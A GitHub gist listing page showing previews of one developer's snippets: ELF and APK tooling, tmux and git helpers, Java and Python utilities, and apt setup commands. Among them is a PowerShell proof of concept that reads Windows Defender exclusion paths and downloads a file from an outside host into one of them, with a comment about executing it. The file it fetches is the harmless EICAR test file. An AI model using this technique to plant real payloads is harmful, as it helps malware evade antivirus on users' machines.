Skip to content

Instantly share code, notes, and snippets.

@packmad
packmad / r2_get_soname.py
Created May 7, 2020 22:10
Get SONAME, if exists, of input ELF file
#!/usr/bin/env python3
import r2pipe
import sys
from os.path import isfile
from typing import Optional
def get_soname(file_path) -> Optional[str]:
r = r2pipe.open(file_path)
barch: int = r.cmdj('iAj')['bins'][0]['bits']
@packmad
packmad / ExploitDefenderExclusionPOC.ps1
Created March 24, 2020 11:23
ExploitDefenderExclusionPOC.ps1
$ExPath = (Get-MpPreference).ExclusionPath
if ($ExPath.Length -gt 0) {
foreach ($path in $ExPath) {
try {
$url = "https://secure.eicar.org/eicar.com"
$output = Join-Path -Path $path -ChildPath "eicar.com"
Invoke-WebRequest -Uri $url -OutFile $output
Write-Host "Dropped malicious file -> '$($output)'"
# Execute $output ...
return
@packmad
packmad / rebuildapk.sh
Created January 25, 2019 13:52
Rebuild Android apk
#!/bin/bash
if [ -d "$1" ]; then
apktool build $1
dist="$1/dist/"
cd $dist
outapk="out.apk"
if [ -f $outapk ]; then
rm $outapk
@packmad
packmad / gitignorant.sh
Created December 3, 2018 14:02
Git command for the lazy and for the win
#!/bin/bash
git pull
if [ "$1" != "" ]; then
git commit -am "$1"
else
git commit -am "auto"
fi
@packmad
packmad / tmux.conf
Last active September 4, 2018 09:08
MyTmuxConf
set -s escape-time 0
bind r source-file ~/.tmux.conf \; display "Reloaded!"
# Tmux uses a 'control key', set it to 'Ctrl-Space' that is easier to reach
unbind C-b
set -g prefix C-Space
bind C-Space send-prefix
# Tmux should be pretty, we need 256 color for that
@packmad
packmad / elapsedtime_decorator.py
Created July 17, 2018 10:39
Decorator for function elapsed time
import time
import timeit
def time_usage(func):
def wrapper(*args, **kwargs):
start_time = timeit.default_timer()
retval = func(*args, **kwargs)
elapsed = timeit.default_timer() - start_time
print "Function '{}' elapsed time: {}sec".format(func.__name__, elapsed)
@packmad
packmad / android_api27_classes.txt
Last active March 1, 2018 21:45
All Android API 27 classes
Landroid/accessibilityservice/AccessibilityButtonController;
Landroid/accessibilityservice/AccessibilityButtonController$AccessibilityButtonCallback;
Landroid/accessibilityservice/AccessibilityService;
Landroid/accessibilityservice/AccessibilityService$GestureResultCallback;
Landroid/accessibilityservice/AccessibilityServiceInfo;
Landroid/accessibilityservice/AccessibilityService$MagnificationController;
Landroid/accessibilityservice/AccessibilityService$MagnificationController$OnMagnificationChangedListener;
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController;
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController$OnShowModeChangedListener;
Landroid/accessibilityservice/FingerprintGestureController;
@packmad
packmad / ExecuteExternalCommand.java
Created February 20, 2018 09:42
Correct way to create another process and execute an external command
static List<String> execute(final List<String> args) throws IOException, InterruptedException {
final List<String> output = new LinkedList<>();
ProcessBuilder pb = new ProcessBuilder(args);
pb.redirectErrorStream(true);
Process process = pb.start();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
output.add(line);
}
sudo apt-get install software-properties-common
sudo add-apt-repository "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main"
sudo sh -c 'echo deb https://www.charlesproxy.com/packages/apt/ charles-proxy main > /etc/apt/sources.list.d/charles.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5F16B97C1AD28806
sudo apt-get update
@packmad
packmad / file_processing.py
Created December 20, 2016 13:23
Read a file and filter its content into another file
with open("/tmp/output.txt", "w") as output_file:
with open("/tmp/input.txt", "r") as input_file:
for line in input_file:
# process line
print(line, file=output_file, end="")